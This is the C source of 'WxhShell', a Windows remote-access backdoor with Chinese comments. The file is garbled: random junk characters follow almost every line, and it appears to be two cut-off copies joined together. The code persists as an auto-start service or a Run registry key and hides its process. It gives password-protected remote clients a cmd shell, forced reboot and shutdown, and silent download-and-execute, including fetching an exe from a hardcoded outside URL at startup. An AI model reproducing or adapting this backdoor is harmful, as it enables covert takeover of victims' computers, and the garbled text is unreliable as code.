    } LKx`v90p  
  // 关机 fJy)STQ4  
  case 'd': { .#0H{mk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'd/*BjNp)  
    if(Boot(SHUTDOWN)) tw<P)V\h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /g@^H/DO  
    else { K\(6 rS}N  
    closesocket(wsh); 7(Cx!Yb  
    ExitThread(0); V.8%|-d  
    } vM(Xip7  
    break; 3rNc1\a;  
    } Yl~$V(  
  // 获取shell "]#'QuR  
  case 's': { ul@3 Bt  
    CmdShell(wsh); *g_w I%l  
    closesocket(wsh); UW6VHA>  
    ExitThread(0); =WK04\H  
    break; e[{mVhg4E  
  } 'w.}2(  
  // 退出 d; =u  
  case 'x': { !^iwQ55e2A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _{$fA6C  
    CloseIt(wsh); 4&{!M _  
    break; w{`Acu  
    } PNpu*# Z`  
  // 离开 I8u!\F  
  case 'q': { Uyk,.*8"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BSgTde|3y  
    closesocket(wsh); =((yWn+t  
    WSACleanup(); OPuj|%Wgw  
    exit(1); OxQYNi2  
    break; 'Jydu   
        } % :/_f  
  } E!! alc{  
  } jO8X:j09A  
 $:EG%jl  
  // 提示信息 Uw)=WImz[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CxDcY  
} 6+3$:?  
  } Od{jt7<j#  
{<K=*r rZ  
  return; 9x?'}  
} 8sg|MWSU  
?:igumeYX  
// shell模块句柄 E'EcP4eL  
int CmdShell(SOCKET sock) !D:Jbt@R<n  
{ S!h Xf|*0[  
STARTUPINFO si; 0%<+J;'o  
ZeroMemory(&si,sizeof(si)); !E0!-UpY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c)~h<=)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aSL6zye ,  
PROCESS_INFORMATION ProcessInfo; $UvPo0{  
char cmdline[]="cmd"; `/4:I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "^Rv#  
  return 0; YQd:M%$  
} wL3,g2-L  
$a(`ve|  
// 自身启动模式 1~\M!SQ)  
int StartFromService(void) >c~RI7uu  
{ m`}{V5;  
typedef struct xu\eXx6H  
{ z9DcnAs  
  DWORD ExitStatus; x2W#ROfg  
  DWORD PebBaseAddress; $1Z6\G O  
  DWORD AffinityMask; U>F{?PReA?  
  DWORD BasePriority; #xT!E:W '  
  ULONG UniqueProcessId; |PP.<ce\-  
  ULONG InheritedFromUniqueProcessId; Ef@,hX  
}   PROCESS_BASIC_INFORMATION; Ck'aHe22'  
cb$-6ZE/  
PROCNTQSIP NtQueryInformationProcess; vFQ,5n;fF  
vt1lR5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !{Z~<Ky  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LFf`K)q  
QyGnDomQ  
  HANDLE             hProcess; ;Vu5p#,O<M  
  PROCESS_BASIC_INFORMATION pbi; zT#`qCbT'J  
: ]WqfR)#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zu/<NC (  
  if(NULL == hInst ) return 0; +Qj(B@ i  
$,27pkwHeW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f.6~x$:)`E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rs-,0'z,7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )T|L,Lp  
Y)|N"f;  
  if (!NtQueryInformationProcess) return 0; .`p&ATg v  
[L(h G a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7%;_kFRV  
  if(!hProcess) return 0; p2 %  
ig+4S[L~n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [[+ pMI  
+TJ EG?o  
  CloseHandle(hProcess); igC_)C^i>  
c#cx>wq9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k)7{Y9_No  
if(hProcess==NULL) return 0; X}A'Cg0y  
t ^SzqB  
HMODULE hMod; eu#'SXSC F  
char procName[255]; _Z Y\,_  
unsigned long cbNeeded; "r'ozf2 \  
|E)aT#$f'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z`Z5sj 4{  
-{jdn%Y7CK  
  CloseHandle(hProcess); 1AD]v<M  
Jxl6a:  
if(strstr(procName,"services")) return 1; // 以服务启动 7cTk@Gq  
q3P+9/6  
  return 0; // 注册表启动 V 9;[M;  
} 'T8W!&$  
 Mps5Vv  
// 主模块 z=Cr7-  
int StartWxhshell(LPSTR lpCmdLine) mUoIJ3fv_,  
{ 5:.{oSy7n  
  SOCKET wsl; vbG]mMJ  
BOOL val=TRUE; |j~lkzPnV  
  int port=0; ~bK9R 0|<  
  struct sockaddr_in door; p&b5% 4P  
PnYBy| yl  
  if(wscfg.ws_autoins) Install(); H17-/|-;0!  
.qv'6G  
port=atoi(lpCmdLine); +&=?BC}L9^  
 jN*:QI  
if(port<=0) port=wscfg.ws_port; 4JyM7ePND}  
%; "@Ah  
  WSADATA data; 23]Y<->Eu<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OF U/gaO~  
{KL5GowH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,  X{>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vu8,(A7D%O  
  door.sin_family = AF_INET; !wz/c M;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s>n(`?@L  
  door.sin_port = htons(port); 9pKGr@&   
jeUUa-zR3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wr?'$:  
closesocket(wsl); b;cMl'  
return 1; E%N2k|%8d_  
} <%?#AVU[  
o4y']JSN  
  if(listen(wsl,2) == INVALID_SOCKET) { ~FU@wV^   
closesocket(wsl); d^E [|w ;  
return 1; j]rz] k  
} uBrMk  
  Wxhshell(wsl); DGESba\2+  
  WSACleanup(); R:aa+MX(1  
V^s0fWa  
return 0; Di.3113t  
Xd `vDgD  
} WYcA8 X/  
<If35Z)~  
// 以NT服务方式启动 nw:-J1kWR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ),}AI/j;zY  
{  t+uE  
DWORD   status = 0; ne}+E  
  DWORD   specificError = 0xfffffff; "/{RhY<  
G\d$x4CVGc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4'1m4Ugg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /b#l^x:j  
  serviceStatus.dwWin32ExitCode     = 0;  >w6taX  
  serviceStatus.dwServiceSpecificExitCode = 0; >o,^b\  
  serviceStatus.dwCheckPoint       = 0; /#NYi,<{X  
  serviceStatus.dwWaitHint       = 0; Q n)d2-<  
$tqJ/:I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T#@lDpO  
  if (hServiceStatusHandle==0) return; K$ }a8rH  
dq;|?ESP  
status = GetLastError(); xgu `Q`~  
  if (status!=NO_ERROR) ENVk{QE!  
{ #18FA|   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d~J-|yyT  
    serviceStatus.dwCheckPoint       = 0; O Wp%v_y]  
    serviceStatus.dwWaitHint       = 0; B5%n(,Lx  
    serviceStatus.dwWin32ExitCode     = status; 72uz<i!&$  
    serviceStatus.dwServiceSpecificExitCode = specificError; {V19Zv"j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #SVNHpx  
    return; [(kB 5 a  
  } CG\tQbum  
CK+d!Eg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K kW;-{c  
  serviceStatus.dwCheckPoint       = 0; -7H^n#]  
  serviceStatus.dwWaitHint       = 0; G.Vu KsP]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f_^1J  
} m0w;8uF2UV  
 D1 Z{W  
// 处理NT服务事件,比如:启动、停止 B<?[Mrdxw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D B526O* [  
{ 6Q&r0>^{  
switch(fdwControl) 2| iV,uJ&  
{ \2-@'^i  
case SERVICE_CONTROL_STOP: N;oQ^B'  
  serviceStatus.dwWin32ExitCode = 0; Vgb *% I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AI vXb\wL  
  serviceStatus.dwCheckPoint   = 0; 1+;C`bnA  
  serviceStatus.dwWaitHint     = 0; Xl7aGlH  
  { ^jB8Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RrZM&lXY  
  } }kHdK vZ  
  return; *.-.iY.a]  
case SERVICE_CONTROL_PAUSE: P;[OWSR[d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1F'1>Bu~  
  break; -Y#sI3o*R8  
case SERVICE_CONTROL_CONTINUE: 8M,9kXq{L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OI1ud/>h  
  break; Gl %3XdU  
case SERVICE_CONTROL_INTERROGATE: TcTM]ixr  
  break; q#A(gyy  
}; #m{{a]zm^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8M*PML4r  
} rPNb\Ri  
^efb 5  
// 标准应用程序主函数 O%~jop7# 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `vG,}Pt]  
{ d,vNem-Z*L  
r[(xj n  
// 获取操作系统版本 Lf([dE1  
OsIsNt=GetOsVer(); G0 J4O!3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]r! >{  
i@5[FC  
  // 从命令行安装 HW4 .zw  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Iewx Gb>  
6Tw#^;q-  
  // 下载执行文件 =\#%j|9N9  
if(wscfg.ws_downexe) { {gA\ph% s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sbkQ71T:  
  WinExec(wscfg.ws_filenam,SW_HIDE); }eQRN<}P  
} 9//+Bh  
g[ 0<m#"  
if(!OsIsNt) { v0Dq@Q1  
// 如果时win9x,隐藏进程并且设置为注册表启动 &c(WE RW?-  
HideProc(); /iNa'W5\  
StartWxhshell(lpCmdLine); >SN|?|2U/  
} 9Etz:?)b  
else PjT=$]  
  if(StartFromService()) .roqEasu8  
  // 以服务方式启动 v8gdU7Ll,  
  StartServiceCtrlDispatcher(DispatchTable); p^nL&yIW,%  
else E9|eu\  
  // 普通方式启动 n,HE0Zn]Y_  
  StartWxhshell(lpCmdLine); ,/&'m13b/L  
l.\re"Q  
return 0; (bOpV>\Q7  
} Tu{&v'!j6  
f'Iz G.R  
p(xC*KWB  
9 3+"D`  
=========================================== u~ ~R9.  
M/?KV9Xk2  
]eQV ,Vt  
{8,<ZZ_  
5(W"-A}  
YCe7<3>J4  
" @~<j&FTT  
& gJV{V5Ay  
#include <stdio.h> ""Zp:8o  
#include <string.h> =1I#f  
#include <windows.h> 50TA :7  
#include <winsock2.h> ~U(,TjJb  
#include <winsvc.h> Qu=LnGo~P  
#include <urlmon.h> .6O"| Mqb  
o-xDh7v  
#pragma comment (lib, "Ws2_32.lib") di)*-+  
#pragma comment (lib, "urlmon.lib") q#Zs\PD  
ZvYLL{>}w  
#define MAX_USER   100 // 最大客户端连接数 j*e6 vX  
#define BUF_SOCK   200 // sock buffer 4k/V BZB  
#define KEY_BUFF   255 // 输入 buffer E3@QI?n^^  
{mWui9 %M  
#define REBOOT     0   // 重启 }>^Q'BW;65  
#define SHUTDOWN   1   // 关机 RT93Mt%P  
< v]3g  
#define DEF_PORT   5000 // 监听端口 <R%;~){  
6Ao%>;e*  
#define REG_LEN     16   // 注册表键长度 LA_3=@2.H  
#define SVC_LEN     80   // NT服务名长度 n .!Ym X4  
*`j-i  
// 从dll定义API _A<u#.yd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }?cGf- c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5qg2Zc~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +jg9$e"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JOjoiA  
ky 8ep  
// wxhshell配置信息 ml@2wGyf  
struct WSCFG { ,BFE=:ZIK  
  int ws_port;         // 监听端口 "fg](Cp[z  
  char ws_passstr[REG_LEN]; // 口令 cJM:  
  int ws_autoins;       // 安装标记, 1=yes 0=no $M_x!f'{>  
  char ws_regname[REG_LEN]; // 注册表键名 RH}A  
  char ws_svcname[REG_LEN]; // 服务名 -~eJn'W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mcz+ P |  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f:g,_|JD$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | K?#$~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;})5:\h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bifS 2>c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]M)O YY  
ZpUCfS)|&  
}; j8|g!>Nv  
w ;daC(:  
// default Wxhshell configuration hYQ_45Z*?  
struct WSCFG wscfg={DEF_PORT, *A}cL  
    "xuhuanlingzhe", TF2>4 p  
    1, kc7lc|'z  
    "Wxhshell", mzQ`N}]T:  
    "Wxhshell", @ S<-d  
            "WxhShell Service", 8 #ndFpu  
    "Wrsky Windows CmdShell Service", LPG`^SA  
    "Please Input Your Password: ", %{3 aW>yx  
  1, UgWs{y2SE.  
  "http://www.wrsky.com/wxhshell.exe", nR4y`oP+  
  "Wxhshell.exe" :{NC-%4o0  
    }; f84:hXo6  
h' !imQ  
// 消息定义模块 \%sVHt`c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; izKfU?2]X@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t_ksvWUo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _k^0m  
char *msg_ws_ext="\n\rExit."; Q]rD}Ckv-  
char *msg_ws_end="\n\rQuit."; >5R <;#8  
char *msg_ws_boot="\n\rReboot..."; J$~<V IX  
char *msg_ws_poff="\n\rShutdown..."; _U;eN|Ww  
char *msg_ws_down="\n\rSave to "; "cTncL  
[D5t{[i  
char *msg_ws_err="\n\rErr!"; 7_2kDDW0  
char *msg_ws_ok="\n\rOK!"; <foCb%$(?  
Kj=b[ e%  
char ExeFile[MAX_PATH]; y9#$O(G  
int nUser = 0; SXao|{?O  
HANDLE handles[MAX_USER]; qO`)F8  
int OsIsNt;  tpy>OT$  
6#j$GH *  
SERVICE_STATUS       serviceStatus; R3k1RE2c&g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kNu'AT#3|  
`h}q Eo`  
// 函数声明 7iJ&6=/  
int Install(void); T[= S$n -'  
int Uninstall(void); JT fd#g?I  
int DownloadFile(char *sURL, SOCKET wsh); ^m_yf|D$  
int Boot(int flag); bCZ g cN  
void HideProc(void); SWp1|.=Sm  
int GetOsVer(void); zqDR7+]  
int Wxhshell(SOCKET wsl); do uc('@  
void TalkWithClient(void *cs); x{NX8lN  
int CmdShell(SOCKET sock); z} '!eCl  
int StartFromService(void); *m%]zj0bo  
int StartWxhshell(LPSTR lpCmdLine); $+}+zZX5  
h7s; m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [ofqGwpDG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nW "q  
6<0n *&  
// 数据结构和表定义 ;n\= R 5.  
SERVICE_TABLE_ENTRY DispatchTable[] = Y!6/[<r$~k  
{ s4_/&h  
{wscfg.ws_svcname, NTServiceMain}, N_L,]QT?  
{NULL, NULL}  p!Eft/A(  
}; .qk]$LJF7  
eMRar<)+#*  
// 自我安装 `.y}dh/+0W  
int Install(void) ??hJEE  
{ %+ZJhHT  
  char svExeFile[MAX_PATH]; $,xnU.n  
  HKEY key; bqanFQj  
  strcpy(svExeFile,ExeFile); |^28\sm2e  
r%DFve:%  
// 如果是win9x系统,修改注册表设为自启动 50dGBF  
if(!OsIsNt) { %AOIKK5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8G>>i)Sbg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vpPl$ga5bY  
  RegCloseKey(key); 7u\*_mrv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VL9-NfeqR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y^%T}yTtq  
  RegCloseKey(key); bVmA tm[  
  return 0; ~.%K/=wK@  
    } Oi"a:bCU  
  } _= #zc4U  
} ;Ut+yuy  
else { gn5)SP8  
K;7f?52  
// 如果是NT以上系统,安装为系统服务 o;b0m;~   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H' T  
if (schSCManager!=0) W)(^m},*8D  
{ xf%4, JQ  
  SC_HANDLE schService = CreateService C0=9K@FCb  
  ( y}C`&nW[=  
  schSCManager, J/7R\;q`~o  
  wscfg.ws_svcname, e&eW|E  
  wscfg.ws_svcdisp, ;M]C1!D9#  
  SERVICE_ALL_ACCESS, RvJ['(-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N8KQz_]9I  
  SERVICE_AUTO_START, @`FCiHM  
  SERVICE_ERROR_NORMAL, fAZiC+  
  svExeFile, )'l*Tl  
  NULL, A?G IBjs  
  NULL, 4`#F^2r!  
  NULL, ?)'~~ @NkH  
  NULL, 39 {{7(hh  
  NULL B7\k< Nit0  
  ); k7tYa;C  
  if (schService!=0) .^) UO  
  { 2!N8rHRt  
  CloseServiceHandle(schService); rzp +:  
  CloseServiceHandle(schSCManager); ,mPnQ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *M7E#bQ5B  
  strcat(svExeFile,wscfg.ws_svcname); 1GEK:g2B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D[O{(<9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?}Z1(it0  
  RegCloseKey(key); FZB~|3eq{  
  return 0; $ _8g8r}  
    } \yrisp#`  
  } :hGPTf  
  CloseServiceHandle(schSCManager); _wb0'xoK"  
} H7i$xWs  
} k {-  
k\Q ,h75  
return 1; SM[Bv9|0  
} HxK$4I`  
9*6]&:fm  
// 自我卸载 \qsw"B*tv`  
int Uninstall(void) dBO@6*N4c  
{ TEUY3z[g  
  HKEY key; KlK`;cr?  
\3Oij^l 0  
if(!OsIsNt) { @|ye qy_:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2?Ye*-  
  RegDeleteValue(key,wscfg.ws_regname); ry};m_BY  
  RegCloseKey(key); TJ?g%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Nz0.:  
  RegDeleteValue(key,wscfg.ws_regname); -#-p1^v}  
  RegCloseKey(key); ! #wdVe_(  
  return 0; IB.yU,v  
  } V+?]S  
} Uadr># C*  
} y( r1I[W'  
else { r%Rs0)$yj  
3+MB5 T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `ir3YnT+  
if (schSCManager!=0) Ql?^ B SqG  
{ 9ykM3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "s W-_j]  
  if (schService!=0) 3`9{T>  
  { .AV)'j#6P  
  if(DeleteService(schService)!=0) { a :SQ16_?  
  CloseServiceHandle(schService); ^GN8V-X4y  
  CloseServiceHandle(schSCManager); QbYc[8-[  
  return 0; /Tz85 [%6  
  } x4Rk<Th"o  
  CloseServiceHandle(schService); \(I6_a_{  
  } Z.Rb~n&  
  CloseServiceHandle(schSCManager); G@S&1=nj3  
} E jEFg#q  
} <<MjC5  
I 5ag6l  
return 1; %;`>`j5  
} p]W+eT  
3l!NG=R  
// 从指定url下载文件 l#3($QV,  
int DownloadFile(char *sURL, SOCKET wsh) s(ROgCO  
{ ETv9k g  
  HRESULT hr; 2k7bK6=nm  
char seps[]= "/"; ~7quTp)  
char *token; HU B|bKy  
char *file; (.K\Jg'Y6j  
char myURL[MAX_PATH]; YHxbDf dA  
char myFILE[MAX_PATH]; #nyv+x;  
j{#Wn !,  
strcpy(myURL,sURL); 'p)Q68;&  
  token=strtok(myURL,seps); =4C}{IL  
  while(token!=NULL) "YFls#4H-  
  { h?@G$%2  
    file=token; ;mm!0]V  
  token=strtok(NULL,seps); &!7+Yb(1  
  } <*'cf2Q$Av  
Y5A~E#zw  
GetCurrentDirectory(MAX_PATH,myFILE); [nN7qG  
strcat(myFILE, "\\"); PW}OU9is  
strcat(myFILE, file); f F?6j   
  send(wsh,myFILE,strlen(myFILE),0); +R$?2  
send(wsh,"...",3,0); #?} 6t~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ed~R>F>  
  if(hr==S_OK) "i'bTVs  
return 0; ,W5.:0Y;f[  
else M\/XP| 7  
return 1; TmEY W<  
y93k_iq$S  
} !MZw#=D`  
ateUpGM QU  
// 系统电源模块 q/@dR{-  
int Boot(int flag) [_DPxM=V  
{ Qb^q+C)o]  
  HANDLE hToken; wN]J8Ir  
  TOKEN_PRIVILEGES tkp; (4~WWU (iT  
K6\` __mLf  
  if(OsIsNt) { 34C``i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W|Ldu;#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Iur9I>8h  
    tkp.PrivilegeCount = 1; $&-5;4R'0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f %fa{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [p;*r)f2}  
if(flag==REBOOT) { %j]ST D.E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f|0lj   
  return 0; )@QJ  
} Uf,fX/:!  
else { J2Et-Cz1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y'm=etE  
  return 0; k M*T$JqN  
} i1*C{Lf;%)  
  } +Tak de%~  
  else { ]Bu DaxWN  
if(flag==REBOOT) { %&] 1FhL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f>iuHR*EXB  
  return 0; 7s>a2  
} :uCdq`SaQl  
else { ?A=b6Um  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4^Qi2[w  
  return 0; Z}Cqd?_')  
} TnxKR$Hoh  
} ~@c-*  
v+q<BYq  
return 1; 1 tfYsg=O  
} Ygj6(2  
s"mFt{Y  
// win9x进程隐藏模块 H:}}t]E  
void HideProc(void) lJ/6-dP  
{ ~Yk"Hos  
+mWjBY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *re 44  
  if ( hKernel != NULL )  Dt}dp_  
  { F?*k}]Gi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G\rj?%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [!+D <Y  
    FreeLibrary(hKernel); !'c| N9  
  } uCUu!Vfeg  
c8Pb  
return; |$w*RI0C  
} aPBX=;(  
JieU9lA^&B  
// 获取操作系统版本 B3b,F#  
int GetOsVer(void) `ut)+T V  
{ }brr ) )  
  OSVERSIONINFO winfo; h%b hrkD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qilj/x68  
  GetVersionEx(&winfo); zeOb Aw1O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >}]H;& l  
  return 1; >ZCo 8aK  
  else 9+VF<;Xw  
  return 0; JLW$+62  
} Baq ~}B<  
[}k|  
// 客户端句柄模块 & l^n4  
int Wxhshell(SOCKET wsl) BR3mAF  
{ -uR{X G. D  
  SOCKET wsh; mTd<2Hy  
  struct sockaddr_in client;  # eEvF  
  DWORD myID; g~R/3cm4  
[t}):}~F|  
  while(nUser<MAX_USER) 2]Fu 1  
{  GVp  
  int nSize=sizeof(client); hmzair3X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Op@y2+c  
  if(wsh==INVALID_SOCKET) return 1; c,BAa*]K  
j;0ih_Z@4W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i+U51t<  
if(handles[nUser]==0) !$E~\uT  
  closesocket(wsh); wO.B~`y  
else 7 6*hc   
  nUser++; \9jpCNdJ  
  } "'aqb~j^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WB;J1TpM7  
Gc}0]!nrW9  
  return 0; 1Zq   
} $~hdm$  
/,t| !)\]  
// 关闭 socket '}zT1F* p=  
void CloseIt(SOCKET wsh) *^6k[3VY  
{ p2a?9R  
closesocket(wsh); a@k.$  
nUser--; 2VMX:&3 5J  
ExitThread(0); Ph"iX'J  
} 3:O+GQ*  
W :>J864!  
// 客户端请求句柄 mS7E_A8  
void TalkWithClient(void *cs)  uE"2kn  
{ ]-rczl|o  
EFNdiv$wF  
  SOCKET wsh=(SOCKET)cs; scmto cm  
  char pwd[SVC_LEN]; 3DI^y` av  
  char cmd[KEY_BUFF]; ]TfeBX6ST  
char chr[1]; ;>/ipnx  
int i,j; /MqP[*L  
Si[eAAd' :  
  while (nUser < MAX_USER) { $l43>e{E  
v['AB4  
if(wscfg.ws_passstr) { af^@ .$ |  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yoe les-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nO:HB.&@  
  //ZeroMemory(pwd,KEY_BUFF); X@eg<]'m  
      i=0; W9+h0A-  
  while(i<SVC_LEN) { y8D 8Y8B  
>+f'!*%7He  
  // 设置超时 $uTlbAuv  
  fd_set FdRead; h+ TB]  
  struct timeval TimeOut; & ]%\.m  
  FD_ZERO(&FdRead); - YAO3  
  FD_SET(wsh,&FdRead); n4XMN\:g{  
  TimeOut.tv_sec=8; B*BHF95!  
  TimeOut.tv_usec=0; 'iGMn_&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W=M< c@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >]C<j4  
/o'oF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i!y\WaCp  
  pwd=chr[0]; d^_itC;-,  
  if(chr[0]==0xd || chr[0]==0xa) { =Y:5,.U  
  pwd=0; @Z,qu2~|!  
  break; ju r1!rg%  
  } V3%Krn1'  
  i++; kU>#1 He  
    } @ikUM+A {  
yh4jRe?f  
  // 如果是非法用户,关闭 socket W|~q<},j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @V7;TJk  
} "&| lO|  
*SXSF95  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e$x4Ux7*"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CARq^xI-  
i{4'cdr?  
while(1) { '%3u%;"  
#Xj;f^}/  
  ZeroMemory(cmd,KEY_BUFF); /S/tE  
!+%Az*ik  
      // 自动支持客户端 telnet标准   I"~xDa!  
  j=0; +0SW ?#%  
  while(j<KEY_BUFF) { HI7]%<L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6@i|Kw(:  
  cmd[j]=chr[0]; NH<Y1t  
  if(chr[0]==0xa || chr[0]==0xd) { ?@yank|  
  cmd[j]=0; z`;&bg\8  
  break; $)4GCP  
  } )|MIWgfWN  
  j++; ;}n|,g>  
    } j #4+-  
,K`E&hS  
  // 下载文件 CuF%[9[cT  
  if(strstr(cmd,"http://")) { ,,zd.9n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (c  u'  
  if(DownloadFile(cmd,wsh)) _95- -\  
